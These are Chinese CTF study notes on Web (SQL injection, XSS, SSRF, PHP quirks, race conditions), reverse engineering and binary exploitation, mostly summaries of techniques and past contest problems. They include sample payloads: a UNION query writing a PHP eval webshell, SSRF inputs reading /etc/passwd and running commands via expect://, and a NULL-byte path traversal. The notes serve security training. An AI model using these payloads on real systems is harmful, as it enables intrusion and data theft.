看雪知识库

Web笔记

一、常用工具安装及使用

(一)Burp Suite

  1. 概述:基于 Java 开发的跨平台 Web 安全工具,集成 Proxy、Spider、Scanner、Intruder、Repeater 等模块,各模块共享框架,可高效处理 HTTP 消息,助力解决 Web 题目。
  2. 模块介绍
    • Proxy 代理模块:核心模块,用于截获和修改客户端(浏览器、手机 App 等)HTTP/HTTPS 数据包。设置代理端口(如 8080),配置浏览器代理后,可在 Proxy→Intercept 选项卡控制数据包拦截与修改,还能将数据包发送至其他模块。
    • Repeater 重放模块:常用于手工测试 HTTP Header 或复杂 POST 数据包中的注入点。在 Proxy 中右键发送数据包至此模块,可在左侧修改数据包后重发,其 Headers 和 Hex 标签页可便捷添加头信息或修改十六进制编码。
    • Intruder 暴力破解模块:提供 Sniper、Battering ram、Pitchfork、Cluster bomb 四种攻击类型,用于爆破。在其他模块右键发送数据包后,在 Target、Position、Payload、Options 标签页设置攻击目标、位置、Payload 等参数,可根据电脑性能和网络状态调整线程等参数,并筛选结果。
    • Decoder 解码模块:支持多种编码和解码操作,可处理 HTTP/HTTPS 数据,能以文本或十六进制模式查看,有常见哈希算法,但不推荐 Smart decode。
    • Comparer 比较模块:在数据包差异小的情况下,用于比较发现差异,辅助分析。
    • 工程选项:可绑定域名与 IP,解决相关题目。

(二)Sqlmap

  1. 概述:开源渗透测试工具,用 Python 开发,能自动检测和利用 SQL 注入漏洞,在 CTF Web 题中作用关键。
  2. 使用方法:在 Linux 自带 Python 环境下或 Windows 安装 Python 后,下载解压源码包,命令行输入 python sqlmap.py 运行。提供命令行功能和 Burp 插件,常用参数如 -u 指定目标 URL,--dbs 列出数据库等;Tamper 可绕过过滤,如 apostrophemask 等。

(三)浏览器与插件

  1. 浏览器选择:建议安装 IE、Firefox(开发者版本)、Chrome 等主流浏览器,因比赛可能存在兼容性或特定浏览器漏洞问题。
  2. Chrome 插件推荐
    • Developer Tools:集成多种开发工具,如 Elements 可查看修改网页元素,Console 用于调试和交互,Sources 调试 JS,Network 查看请求响应信息,Application 记录网站资源,Security 判断网页安全性。
    • Hasher:计算哈希、加密算法、编码转换等,类似 Burp Decoder 模块。
    • Proxy SwitchyOmega:方便切换代理,结合 Burp 解决代理切换问题,支持内网渗透和科学上网。
    • EditThisCookie:管理 Cookies,配合 XSS 题目获取管理员权限。
    • User-Agent Switcher for Chrome:切换 User-Agent,应对相关题目。
    • Wappalyzer:查看站点服务器等信息,但可能受题目干扰。
    • SelectorGadget 和 XPath Helper:定位提取网页元素 XPath,辅助爬虫。

(四)Nmap

  1. 概述:可扫描网络主机、服务及操作系统等信息,还能探测防火墙,命令格式为 nmap [扫描类型][选项]{目标或目标集合}
  2. 常用参数
    • 主机发现:如 -sn 仅进行主机发现,-PE-PS 等通过不同协议探测主机。
    • 扫描参数-sS SYN 扫描,-sV 版本探测,-O 操作系统探测等。
    • 扫描速度-T 后跟数字设置速度等级。
    • 扫描端口-p 指定端口范围,-F 快速扫描 100 个常用端口。支持自定义扫描脚本(NSE),可检测 SQL 注入等漏洞。

二、SQL注入攻击

(一)概述

  1. 成因:开发人员将用户输入直接拼接至 SQL 语句,使 SQL 语句可控,引发漏洞。
  2. 分类
    • 可回显注入:包括联合查询、报错注入、通过注入进行 DNS 请求回显。
    • 不可回显注入:Bool 盲注和时间盲注。
    • 二次注入:数据入库和使用时过滤不一致导致,业务逻辑复杂,常需脚本自动化注入。

(二)注入类型及利用

  1. 可以联合查询的 SQL 注入:如测试样例中,利用 union 拼接 Payload,闭合原语句单引号并注释多余部分,插入数据,注意服务器可能自动转换 + 为空格。常需绕过字符或单词过滤。
  2. 报错注入
    • updatexml:利用函数报错,如 updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) 可爆破数据库版本。
    • floor:基于 randorder bygroup by 冲突报错,可爆破数据库版本、用户、当前数据库、指定表字段等信息。
    • exp:利用溢出报错,如 exp(~(select * from (select user())x)) 可获取用户信息。
  3. Bool 盲注:因报错信息屏蔽产生,根据页面真假回显判断。通过添加 and 1=1and 1=2 等 Payload 检测,可修改关键字绕过过滤,字符串型注入需闭合单引号,常使用截取、转换、比较函数,工具检测可能误报。
  4. 时间盲注:类似 Bool 盲注,但依据页面响应时间判断,常用 sleep()benchmark() 函数,因可能导致服务器负载过高,CTF 题目较少。
  5. 二次注入:如 2016 年西电信安协会 l - ctf 题目,结合登录注册与头像显示,需编写脚本模拟操作,可能与其他注入类型结合。
  6. limit 之后的注入:在 MySQL 特定版本下,可在 ORDER BY id LIMIT 处注入,如 SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

(三)注入点相关

  1. 常见位置:GET 参数、POST 数据包、User - Agent、Cookies 等,可使用 Sqlmap 或手工验证。
  2. 判断方法:插入单引号看是否报错,数字型用 and 1=1 等判断,还可通过数字加减尝试。

(四)绕过技术

  1. 过滤关键字:可穿插关键字、大小写转换、十六进制替换、双重 URL 编码等绕过。
  2. 过滤空格:利用注释、URL 编码、空白字符、特殊符号(反引号等)、科学计数法绕过。
  3. 过滤单引号:旧版本 PHP 可在宽字节编码下(如 %df%27)尝试宽字节注入。
  4. 绕过相等过滤:利用 MySQL 编码格式特性,如 utf8_general_ci 下某些等式成立。

(五)SQL 读写文件

  1. 读文件:在 MySQL 用户有 File 权限时,用 load_file 函数,如 ?id=-1+union+select+load_file('/etc/hosts'),可十六进制编码文件名,也可读取常见配置文件找 flag。
  2. 写文件:如 ?id=-1+union+select+'<?php eval($_POST[233]);?>'+into+outfile '/var/www/html/shell.php',需注意权限和文件名,还可写入 UDF 库执行命令。

三、跨站脚本攻击(XSS)

(一)概述

  1. 定义:网站应用安全漏洞,攻击者向网页注入恶意代码,用户浏览器加载页面时执行,危害大,在 CTF 常见。
  2. 常见类型:反射型、存储型、DOM 型,还可按输出点分为 HTML 属性、CSS 代码、JavaScript 中输出。

(二)类型详解

  1. 反射型 XSS:客户端输入经服务端解析后返回并执行,如 <?php echo 'your input:'. $_GET['input'];?> 中,输入 <script>alert(/xss/)</script> 可触发。
  2. 存储型 XSS:如留言板应用,攻击者留言存储后其他用户访问执行,代码示例展示了留言板的存储和显示过程。
  3. DOM XSS:由浏览器端 DOM 解析触发,无需服务端解析响应,如代码中通过 location.hash 赋值触发。
  4. 输出在 HTML 标签中:需闭合属性或标签注入新属性或标签,如在 input 标签中通过闭合 value 属性注入 onclick 属性。
  5. 输出在 CSS 代码中:闭合 CSS 属性后注入新属性,如改变 color 属性并注入 background-image 属性。
  6. 输出在 JavaScript 中:闭合代码后注入攻击代码,如在 script 标签中闭合单引号注入 alert 函数。

(三)防护与绕过

  1. 特定标签过滤绕过:可构造非标准标签或利用新标签(如 video)执行代码,参考 HTML5 Security Cheatsheet
  2. 事件过滤绕过:遍历未过滤的事件属性,利用 HTML5 新属性,如 detailsformaction 等绕过。
  3. 敏感关键字过滤绕过
    • 字符串拼接与混淆:用数组调用函数并拼接字符串混淆,或利用 Base64 编码解码绕过。
    • 编码解码:使用多种编码(HTML、CSS、JavaScript 进制编码、URL 编码、JSFuck 编码等),推荐 XSSEE 工具。
    • 利用其他位置:将代码置于 location.*window.name 等不提交至服务端的位置,结合编码绕过关键字过滤,还可针对敏感符号过滤进行特殊处理。
  4. 字符集编码导致的绕过:如利用 UTF - 7、宽字节、特殊字符等编码问题绕过过滤,不同字符集有不同利用方式。
  5. 长度限制绕过:使用 window.namelocation.*、第三方库工厂函数(如 jQuery 的 $())或注释减少输入点代码量。
  6. HttpOnly 绕过:可利用 Apache 等服务器漏洞(如 CVE - 2012 - 0053)、PHPINFO 页面、Flash/Java API 获取 HttpOnly Cookie。
  7. XSS Auditor 绕过:利用字符集编码、协议理解问题、CRLF 注入等绕过 Chrome 浏览器 XSS Auditor。
  8. 内容安全策略(CSP)绕过
    • CSP 配置错误利用:针对配置错误场景(如策略不全、包含不安全源等)进行绕过。
    • unsafe-inline 下的绕过:利用 DNS Prefetchlocation.href 等方法绕过。
    • script-src’self’下的绕过:通过 302 跳转绕过,利用重定向机制读取其他目录资源。
    • CRLF 导致的绕过:注入 CRLF 将 CSP 头分割至响应体,使 XSS 代码不受 CSP 影响。

(四)危害与利用技巧

  1. 危害:窃取 Cookie、与 DOM 对象交互、获取网页源码、发起 HTTP 请求、获取地理位置和网络信息、扫描内网主机等。
  2. 利用示例:展示了使用 WebRTC API 获取网络信息的代码,推荐开源利用平台 BeEF

(五)实例

HCTF 2016 中 guestbook 题目,过滤函数单层可绕过,如 scrscriptipt,CSP 规则因开启 unsafe-inline 可利用 locatioonn.href 等方法绕过。

四、服务端请求伪造(SSRF)

(一)形成原因

服务端获取外部数据功能未有效过滤限制目标地址,如 <?php $url = $_GET['url']; echo file_get_contents($url);?> 易受攻击。

(二)防护绕过

开发者正则过滤可通过特殊格式(http://[email protected])、IP 地址进制转换及省略写法、配置域名等绕过。

(三)危害与利用技巧

  1. 端口扫描:通过向不同端口发送请求,根据响应判断端口开放情况。
  2. 攻击内网服务:利用漏洞攻击内网存在漏洞的服务,如利用 Gopher 协议攻击 Redis 等,展示了攻击 Redis 的 Payload。
  3. 指纹识别与攻击内网应用:通过请求特定文件识别内网应用指纹,再利用漏洞攻击,如针对 Wordpress、JBoss 应用的攻击 Payload。
  4. 文件读取:指定 file 协议读取服务器文件,如 http://example.com/ssrf.php?url=file:///etc/passwd
  5. 命令执行:PHP 环境安装 expect 扩展时,可用 expect 协议执行系统命令,如 http://example.com/ssrf.php?url=expect://id

(四)实例

XDCTF(LCTF)2015 中 Web 300 题,先读取源代码,再利用 SSRF 扫描端口发现 Discuz!7.2 论坛,最后利用论坛 SQL 注入漏洞获取管理员密码(flag)。

五、利用特性进行攻击

(一)PHP 语言特性

  1. 弱类型== 比较会自动类型转换,导致漏洞,如 if($input == 1) 中,1abc 可满足条件。MD5 函数返回值以 0e 开头时会被转换为 0,可利用此进行绕过,还可利用函数参数和返回值类型转换漏洞,如 strpos 函数。
  2. 反序列化漏洞unserialize 函数参数可控时形成漏洞,结合类中的 magic 函数(如 __construct__destruct__toString 等)可执行危险逻辑,展示了 NJCTF 2017 题目利用过程。
  3. 截断:NULL 字符截断(如 ?file=../../../etc/passwd%00)和路径长度绕过在旧版本 PHP 可行,iconv 函数在特定条件下也可截断字符串(如 ?file=shell.jpg%ff,Windows 系统且特定版本 PHP)。
  4. 伪协议:可利用伪协议(如 httpzippharphp://filter 等)绕过文件包含限制或读取文件。
  5. 变量覆盖
    • 函数使用不当extractparse_strimport_request_variables 函数可能导致变量覆盖,展示了相应 Payload。
    • 配置不当:PHP 版本小于 5.4 且 register_globals=ON 时可能出现全局变量覆盖漏洞。
    • 代码逻辑漏洞:使用 foreach 遍历数组注册变量可能存在漏洞,如 foreach($_GET as $key => $value){ $$key = $value; }
  6. 防护绕过open_basedir 可通过 DirectoryIterator+Glob 绕过,disable_function 可利用系统漏洞(如 shellshockimagemagick)或环境变量(LD_PRELOAD)绕过,也可调用数据库 UDF 执行命令。

(二)Windows 系统特性

  1. 短文件名:Windows 生成 8.3 格式短文件名,IIS 6 可枚举文件,Apache 可下载长文件,如利用 discuz 备份文件泄露可减少枚举量。
  2. 文件上传:黑名单限制后缀时,可利用高位字符([\x80-\xff])、::$data.php:.png 形式绕过,后两者有不同效果。

六、代码审计

(一)源码泄露途径

  1. 常见备份文件
    • 文本备份文件:如 .index.php.swp 等,是编辑器或开发者备份文件。
    • 整站源码备份文件:如 www.zip 等,找到可审计源码,还可利用 .DS_Store 等文件找备份位置。
  2. Git 泄露
    • 特征搜索:通过网站特征字符串在 GitHub 搜索项目源码,如 NJCTF 2017 题目。
    • .git 泄露:利用工具(GitHack、scrabble)根据 git 原理恢复项目文件,介绍了 scrabble 源码分析和还原过程,如 XDCTF 2015 的 Web2 题利用此获取 flag。
  3. svn 泄露:与 git 类似,可使用 svn-extractor 工具解决。
  4. 利用漏洞泄露:利用文件包含或下载漏洞获取源码,常与其他漏洞配合。

(二)审计方法与技巧

  1. 小型代码审计:按找输入点、过滤及绕过方法、处理函数、漏洞利用的步骤进行,以 ASIS 2016 的 Binary Cloud 题为例,分析了文件上传漏洞的审计过程,通过绕过过滤函数实现文件上传。
  2. 大型代码审计:先找危险函数,再回溯找输入点,尝试绕过过滤,最后寻找触发漏洞方法,以 phpok 注入例子展示了审计流程。
  3. 审计工具
    • RIPS:利用 token_get_all 分析代码语法识别漏洞,虽有缺点,但可作为框架修改,介绍了其使用方法和扫描结果查看。
    • Seay 源代码审计系统:根据正则表达式匹配判断漏洞,有自动审计和全局搜索功能,可自定义规则。还可借助安全狗等工具辅助审计。

七、条件竞争

(一)概述

多个线程或进程读写共享数据时,因未加锁或同步互斥管理,执行顺序影响结果,如银行转账示例中,无锁机制导致账户余额计算错误。

(二)问题分析及测试

  1. 一般代码逻辑引发的条件竞争:以网站访问计数代码为例,多用户同时访问会导致计数不准确。可使用 Burp Intruder 模块(设置 Payloads 和线程数)或 Python 脚本(利用多线程并发请求)测试,结果显示实际记录次数小于预期。
  2. 数据库无锁机制引发的条件竞争:以 MySQL InnoDB 存储引擎为例,介绍了共享锁和排他锁机制,因普通 select 语句无锁,多个线程同时访问查询结果可利用条件竞争漏洞,如 0CTF 2017 题目。

八、案例解析

(一)NSCTF 2015 Web 实例

题目上传 php5 文件后虽写入 flag 但很快删除,利用条件竞争漏洞,通过多线程并发上传和访问,在文件删除前获取 flag,给出了 Python 测试代码。

(二)湖湘杯 2016 线上选拔赛 Web 实例

题目通过备份文件给出源码,注册和登录页面逻辑存在时间差,在插入用户密码后未插入权限信息时登录可获取 flag,提供了相应 Python 测试代码和数据库结构。

(三)0CTF 2017 Web 实例

注册登录后账户资金操作存在条件竞争漏洞,卖出时先更新余额再扣除货物,可多线程并发操作获取更多金钱,展示了 Python 测试代码和部分源码。

(四)2019 WCTF 大师赛赛题剖析:P - door

题目涉及代码审计和反序列化漏洞,存在 Git 泄露。利用路径穿越实现任意目录写,通过构造参数和利用反序列化漏洞及魔法方法,绕过过滤写入 Webshell,再利用 Redis 主从模式安全问题获取 flag,详细分析了代码审计和漏洞利用过程。

Reverse笔记

一、逆向分析基础

(一)主要方法

  1. 静态分析法:不执行代码,观察文件外部特性。包括文件类型分析(了解程序语言、编译器、加密情况)和静态反汇编、反编译(常用反汇编工具查看内部代码结构)。
  2. 动态分析法:在程序执行过程中通过调试分析代码,获取内存状态等,常用调试器进行分析。

(二)汇编指令体系结构

  1. x86 指令体系
    • 寄存器组:通用寄存器(EAX、EBX 等)、指令指针寄存器(EIP)、状态标识寄存器(EFLAGS)、段寄存器(CS、DS 等)、特殊寄存器(DR0 - DR7)。
    • 汇编指令集:有 Intel 和 AT&T 两种语法记法,常用 Intel 记法。包括数据传送类(MOV)、栈操作与函数调用(PUSH、POP、CALL、RET)、算数逻辑运算(add、sub 等)、控制转移指令(cmp、test、jmp 等)、特殊指令(int3、int 0x80)。
    • x86 应用程序二进制接口:函数调用时参数从右向左入栈,call 指令压入返回地址,新函数中保存旧 ebp 并调整 esp 为局部变量预留空间。
  2. x64 指令体系
    • 寄存器组:通用寄存器增加到 16 个(RAX、RBX 等)。
    • 系统调用指令:syscall/sysret 用于 Linux 64 位系统调用。
    • x64 应用程序二进制接口:Microsoft’s x64 ABI 前 4 个参数通过寄存器传递,其余栈传,栈上预留意空间;SysV x64 ABI 前 6 个参数寄存器传,其余栈传,无预留空间,返回值均在 RAX 寄存器。

二、逆向分析工具

(一)反汇编和反编译工具 - IDA Pro

  1. 打开文件:通过 File→Open 选择目标程序,IDA 自动识别文件类型。
  2. 主窗口介绍
    • 工具栏区域:包含常用工具对应图标,可显示或隐藏。
    • 导航带:呈现文件地址空间线性视图,不同颜色表示代码或数据,有当前位置指示符。
    • 函数窗口:显示所有函数,有符号程序显示真实函数名,无符号程序函数名以 sub_开头。
    • 数据显示窗口:有反汇编、反编译等窗口,可通过菜单打开。
    • 消息窗口:显示分析状态和错误消息。
  3. 基本使用
    • 函数修正:以 push ebp/rbp 开头地址可能是函数起始地址,若未识别可手动创建(右键 Create Function 或快捷键 P)以便反编译。
    • 指令修正:对识别错误的指令或数据,在相应地址用快捷键 D(数据)、C(代码)进行修正。
    • 数据修正:修改数据长度和类型,字符串未正确识别可用快捷键 A 转换。
    • 注释信息与重命名:右键 Rename 重命名变量或函数,快捷键“;”(反汇编窗口)、“/”(反编译窗口)添加注释,可开启自动注释。
    • 二进制程序的 patch:将多余字节改为 nop 指令(Edit→Patch program→Change byte)使函数能正常反编译。
    • 交叉引用:代码交叉引用表示指令控制权转移,数据交叉引用追踪数据访问方式。

(二)调试器

  1. Ollydbg
    • 主界面:反汇编窗口显示反汇编源代码;信息窗口显示寄存器、API 调用等信息;数据窗口以十六进制显示内存数据;寄存器窗口动态显示寄存器内容;堆栈窗口显示堆栈情况;命令行用于输入调试命令。
    • 断点操作
      • 一般断点:用 INT3 指令替换断点地址首字节,可按 F2 键或在命令行用 bp 命令设置/取消。
      • 内存断点:分为访问和写入断点,OD 同一时刻仅允许一个。在数据窗口选择内存数据右键设置,用于跟踪关键数据使用和生成情况。
      • 硬件断点:不修改代码,有访问、写入、执行三种类型,最多设 4 个,设置方法与内存断点类似。
    • 代码跟踪操作:F9 运行程序;F7 单步跟踪(步入);F8 单步跟踪(步过);F4 执行到所选代码;ALT + F9 执行到程序领空。
  2. gdb
    • 安装:多数 Linux 发行版默认安装,否则可在 Ubuntu 下用 apt - get 安装,调试其他架构 elf 程序可安装 gdb - multiarch,还有 peda、gef、pwndbg 等插件可增强功能。
    • 基本调试操作:包括启动结束(如 gdb [可执行文件]、quit)、通用命令(如 help、list)、断点操作(如 break、delete)、运行调试目标(如 run、continue)、查看修改程序状态(如 print、set)等,各有其命令格式和功能。

(三)Trace 类工具 - Qira

由 geohot 开发,安装后运行 qira - s [程序名] 可在 4000 端口开启服务,同时开启 3002 Web 端口。浏览器 Web 界面可查看程序运行信息,如指令、寄存器、内存、系统调用等。

三、Reverse 分析流程

(一)常规逆向分析流程

  1. 关键代码定位
    • API 断点法:在 GetWindowText、GetDlgItemText(获取文本输入)和 MessageBox(输出结果)等 API 函数下断点,通过栈回溯定位关键代码。
    • 字符串检索法:在 IDA 中用 Strings 子窗口和 Ctrl + F 查找字符串;在 OD 中通过 Alt + E 找到主模块,右键选择搜索引擎查找字符串。
    • 辅助工具定位法:针对特定语言或编译器程序,如 xspy(MFC 程序)、Dede(Delphi 程序)等可定位按键处理程序地址。
  2. 常见加密算法识别
    • base64:将输入每 3 字节按 6 比特分组转换为 4 个可见字符,若代码引用特定索引表“ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/”或其变种索引表,可确定使用该算法。
    • TEA:分组加密算法,密钥 128 比特,明文 64 比特,32 轮变换,有固定常数 0x9e3779b9 或 0x61c88647 可辅助识别。
    • AES:常见分组加密算法,涉及字节替代(通过 S 盒)、行移位、列混淆和轮密钥加等操作,若发现 S 盒或动态生成 S 盒可确定。
    • RC4:流加密算法,初始化对字符数组 s 递增赋值并交换 256 次,可据此识别。
    • MD5:产生 128 位散列值,若看到 0x67452301、0xefcdab89、0x98badcfe、0x10325476 这 4 个常数可怀疑是 MD5 算法。
  3. 求解 flag
    • 直接内存获取:在比较处下断点查看内存获取 flag,如 2015 年 9447CTF 的 the - real - flag - finder 程序在调用 memcmp 处断点,RDI 寄存器指向 flag。
    • 对算法进行逆变换操作:分析判断过程代码中的算法,编写逆算法求解,如 base64 编码程序先分析 change 函数确定为变种 base64,再进行逆变换。
    • 线性变换的求解:若 convert 是线性变换,通过单字符爆破获取 flag,如某国内 CTF 比赛 cipher 程序根据输入输出关系确定为线性变换后进行爆破。
    • 约束求解:当 output = convert(input)需满足多个约束条件时,用 z3 等约束求解器,如某程序中对输入变换后有多个条件限制,采用约束求解得到 flag。

(二)自动化逆向

  1. IDAPython:可通过 Python 脚本访问 IDA 相关 API,默认安装的 IDA 已内置,在菜单栏选择 File→Script file 运行脚本,主要接口在 idaapi、idautils 和 idc 模块,可用于如数据异或解密等操作。
  2. PythonGdb:能编写 gdb 调试脚本,可包装断点(如 OnBreakpoint 类在指定位置下断点并执行回调函数)、寄存器和内存操作(如 get_reg、set_reg、read_mem、write_mem 等函数)等功能。
  3. pydbg:基于 Python 的 Windows 调试器框架,可通过 bp_set 设置断点并添加处理函数实现自动化调试。
  4. Angr:强大的二进制分析工具,用动态符号执行解 flag。步骤包括加载程序(设置 auto_load_libs 为 false)、建立初始化状态(可符号化输入)、探索路径(指定 find 和 avoid 地址)、通过约束求解器获取 flag。

(三)干扰分析技术及破解方法

  1. 花指令
    • 基本思路:影响静态分析,在 IDA 中使指令或函数无法识别,可手动 patch 为 nop 指令或编写脚本自动化处理。
    • 实例分析:如某程序在 4010dd 处插入无用字节影响反汇编,分析指令模式后编写 IDAPython 脚本去除花指令。
  2. 反调试
    • Linux 下常见方法:利用 ptrace 系统调用(进程被跟踪后再次调用 ptrace(PTRACE_TRACEM)会失败);proc 文件系统检测(如 /proc/self/status 中 TracerPid 在调试和非调试状态不同);父进程检测(通过 getppid 系统调用判断父进程是否为调试器)。
    • 基本思路:定位反调试代码并 patch 跳过检测。
    • 实例分析:defcamp quals 2015 的 r100.bin 程序在.init_array 中的函数通过 ptrace 检查调试器,对其 patch 可跳过检查。
  3. 加壳
    • 基本思路:CTF 中多为已知壳,可用专用工具或脚本脱壳,如 UPX 壳用“upx–d”命令。
    • 实例分析:2014 ISCC 逆向题,用 PEiD 查壳为 ASProtect 壳,找到脱壳脚本在 OD 中运行,修复 OEP 和 IAT 后脱壳成功。
  4. 控制流混淆
    • 基本思路:采用 Trace 方法记录指令后进行数据流分析,可用 Ptrace 单步执行或 Pin 等动态二进制插桩工具记录。
    • 实例分析:20150CTF 的 r0ops 程序控制流混淆,用 Pin 记录指令,IDAPython 脚本处理后分析得到数据处理过程并求解 flag。
  5. 双进程保护
    • 基本思路:分析父进程处理子进程逻辑,对子进程 patch 使其脱离主进程后正常运行,再分析子进程算法。
    • 实例分析:2016 alictf 的 debug 程序,通过互斥体区分父子进程,分析父进程处理函数后对子进程 patch,修改 main 函数后调试子进程并解密得到 flag。
  6. 虚拟机保护
    • 基本思路:逆向虚拟机得到 ISA,编写反汇编工具分析反汇编代码。
    • 实例分析:2015 zctf simulator 程序,分析 main 函数和 vm 相关函数得到虚拟机寄存器和指令集,编写反汇编工具后分析程序。

(四)脚本语言的逆向

  1. .NET 程序逆向
    • 识别:用 PEiD 识别为 Microsoft Visual C#/Basic.NET,IDA 打开时有 Microsoft.NET assembly 选项。
    • 反编译:用.NET Reflector 打开程序分析,可找到 Main 函数查看代码逻辑。
    • 反混淆:de4dot 工具可对混淆后的.NET 程序反混淆,便于分析。
  2. Python 程序逆向
  3. Java 程序逆向
    • 识别:未安装 JDK 或 JRE 运行报错,IDA 查看字符串有 java 相关信息可识别。
    • Jar 包提取:exe4j 打包程序运行时 Jar 包在系统临时目录,可搜索获取。
    • Jar 包反编译:用 jad、jd - gui、Fernflower 等工具反编译 Jar 包。

PWN笔记

一、PWN基础

(一)基本工具

  1. 逆向辅助类
    • IDA Pro:强大的反汇编工具,其反编译插件能将代码还原到接近源码水平,操作复杂,可参考《IDA Pro权威指南》。
    • gdb:功能强大的程序调试工具,是动态调试必备。其插件 peda 拓展了可视化和功能,原版不支持 Python3,有扩展版本可兼容。类似插件还有 pwngdb、GEF 等,部分可用于查看堆链表状态。
  2. 漏洞利用类
    • pwntools:CTF 框架和漏洞利用开发库,模块丰富,方便开发 exploit。
    • zio:蓝莲花队员开发,使用简单。
    • Ropgadget:用于找寻程序中组装rop链的gadget,支持多种架构。
    • checksec:查询程序保护机制开启情况,在 peda 中也有此功能。
    • one_gadget:分析定位 libc 中获取 shell 的 magic 地址。
    • seccomp-tools:分析程序 seccomp 安全机制开启情况。

(二)保护机制

  1. NX(数据执行保护):防止程序在非可执行内存区执行指令,在 80x86 体系中通过页面表存储方式实现,最后一位为 NX 位,0 允许执行,1 禁止。gcc 默认开启不可执行栈功能,可通过 -z execstack 关闭。
  2. ASLR(地址空间随机化):/proc/sys/kernel/randomize_va_space 控制,root 可修改。0 关闭;1 使 mmap base、stack、vdso page 随机化,.so 文件和部分可执行程序代码段加载地址随机,heap 可能不随机;2 在此基础上增加 heap 随机化。
  3. PIE(代码段随机化):类似 ASLR,与 ASLR 中代码段随机化相关。
  4. RELRO:分为 partial relro 和 full relro,前者重定位信息(如 got 表)可写,后者不可写。
  5. STACK CANARY:栈溢出保护,gcc 编译默认开启,-fno-stack-protector 可关闭。

(三)PWN 类型

包括栈漏洞、堆漏洞、格式化字符串漏洞、整型漏洞、逻辑漏洞等。栈、格式化字符串、整型漏洞相对较易,堆和逻辑漏洞较难。前几种侧重基本功,逻辑漏洞侧重思维能力,且漏洞常相互结合。

(四)常见利用方法

  1. shellcode:获取 shell 的代码。针对数据区未开启 NX,可布置在堆栈等可写可执行区域并劫持控制流。也可通过 rop 等手段关闭 NX 或修改代码页属性来执行。可利用 pwntools 的 shellcraft 模块生成。
  2. rop(返回地址导向编程):利用动态链接库和可执行文件中以 ret 结尾的指令片段(gadget),在程序开启 NX 但可控制栈数据时,通过控制栈上返回地址构造控制流。有 ret2libc 等形式,其构造与函数栈参数传递规则相关。
  3. Magic_Addr(One_gadget):通过 libc 中 system 函数实现代码里的特定地址获取 shell,需调试,可使用 one_gadget 工具定位。
  4. Return-to-dl_resolve:在未提供 libc 库、未开启 PIE 或 FULL RELRO 时,利用_dl_runtime_resolve 函数解析 system 函数地址。需用到 elf 结构动态节信息,如 SYMTAB、STRTAB、JMPREL、VERSYM,通过控制程序向 bss 区域写内容伪造相关结构来实现。

(五)程序内存布局

程序启动加载数据到内存,运行中开辟动态内存。主要包括程序数据(含代码段、数据段、BSS 段)、堆、库数据、栈,还有内核空间(CTF 较少涉及)。程序数据在低地址,依次为堆、库数据、栈,各部分有其存储特点和作用。

二、栈相关漏洞

(一)栈介绍

程序栈存储局部信息,动态增长,由函数栈划分。函数栈存储临时变量、函数返回栈基址(bp)、函数返回地址(ip)等。函数调用时参数入栈,压入返回地址和 bp(可能),函数结束时恢复栈指针并弹出相关值,bp 和 ip 对控制流有重要影响。

(二)栈溢出

  1. 基本概念:栈上缓冲区数据超出边界,覆盖原有数据。重要数据如局部变量、bp、ip 被覆盖会影响控制流,可用于改变程序执行逻辑或构造漏洞利用条件。
  2. 覆盖栈缓冲区的具体用途
    • 涉及数据不可执行(NX/DEP)和栈保护哨(canary),NX 防止在缓冲区存放可执行代码,canary 防止栈溢出覆盖 bp 和 ip,可通过特定编译选项开启或关闭。
    • 覆盖返回地址可劫持控制流,改变程序执行路径。
    • 覆盖临时变量可能影响程序逻辑判断和执行。
    • 覆盖栈底寄存器 bp 可实现栈转移或改变参数索引。
    • 关注敏感函数,如 gets、scanf 等可能导致栈溢出的函数。

(三)栈的特殊利用

包括 libc 信息泄露(利用 main 函数栈底的__libc_start_main_ret 泄露信息计算相关地址)、多级指针(利用函数栈下的环境变量等指针泄露信息,常用于格式化字符串漏洞)、环境变量修改(通过修改栈上的环境变量指针参数影响程序行为)、通过 libc 泄露栈地址(根据 libc 中的 Environ 偏移计算栈偏移)、往栈上写 rop 的技巧(在合适位置写入 rop 并通过返回触发)。

(四)栈喷射

用于无法确定栈地址时,在栈中预先布置大量重复性 rop 数据块,增加栈转移后跳入 rop 位置的概率,通常是在栈地址部分位不确定时,布置相关地址空间的数据。

(五)线程栈

同一进程不同线程栈在程序栈中,相互隔离但可能发生溢出覆盖。CTF 赛题中有大范围写改写其他线程栈数据和递归耗尽线程栈空间并触发读写两种攻击模式,通过相应示例展示了其原理和利用方式。

(六)真题解析

  1. {ZCTF - 2015}guess(PWN100):gets 缓冲区在栈上且可任意长度读入,栈缓冲区长度有限。利用栈中 argv[0]地址覆盖实现任意地址泄露,结合异或操作获取 flag。
  2. {ZCTF - 2015}spell(PWN300):读取用户数据与驱动数据对比,存在读取长度溢出漏洞。通过控制输入长度和数据,覆盖相关指令代码,利用时间信息构造合适输入获取 flag。
  3. {Codegate - 2015}Chess(PWN700):程序开启 PIE,是象棋类游戏逻辑。通过分析检测机制和栈信息,利用棋子移动覆盖ebp和修改相关参数泄露信息,再通过栈喷射构造 Payload 获取 shell。
  4. {RCTF - 2015}Welpwn(PWN200):栈溢出且 0 字符截断,通过覆盖 rbp 最低字节实现栈转移,利用栈喷射确保跳入ROP位置获取 shell。

三、堆相关漏洞

(一)堆介绍

堆是用户动态申请的内存,CTF 中多基于 Linux 的 ptmalloc2 - glibc 堆块管理机制。主要数据结构有 chunk(包括 alloced chunk、free chunk、top chunk 等)和 bin(如 fast bin、unsorted bin、small bin、large bin 等),以及 tcache(新机制,类似 fast bin,有特定管理结构和函数)。malloc 和 free 有其规则,涉及内存对齐、块大小检查、合并等操作。

(二)漏洞类型

  1. 最基本的堆漏洞:因对堆内容类型判断不明,结构体数据解析错误导致,可通过在特定域布置数据劫持控制流或实现数据读写。
  2. 堆缓冲区溢出
    • 常规堆溢出包括覆盖本堆块内部数据和后续堆块数据,利用方式与栈溢出类似或根据堆结构破坏情况利用。
    • Off By One 是堆块末尾溢出 1 字节,可覆盖下一堆块 size 域最低位,利用有特定套路。
  3. Use After Free(UAF):堆指针释放后未置空,访问时可访问原内容,可用于信息泄露和修改。
  4. Double Free:多次释放指针,使堆块重叠,可转换为基本堆问题或构造特殊堆结构利用。

(三)利用方法

  1. 最基本的堆利用:针对基本漏洞和部分缓冲区覆盖,如通过类型转换利用结构体中函数指针实现控制流劫持。
  2. unlink:新式 unlink 有诸多限制,可通过特定方式伪造堆块满足条件,实现任意地址读写,如 freenote 题目中的利用方式。
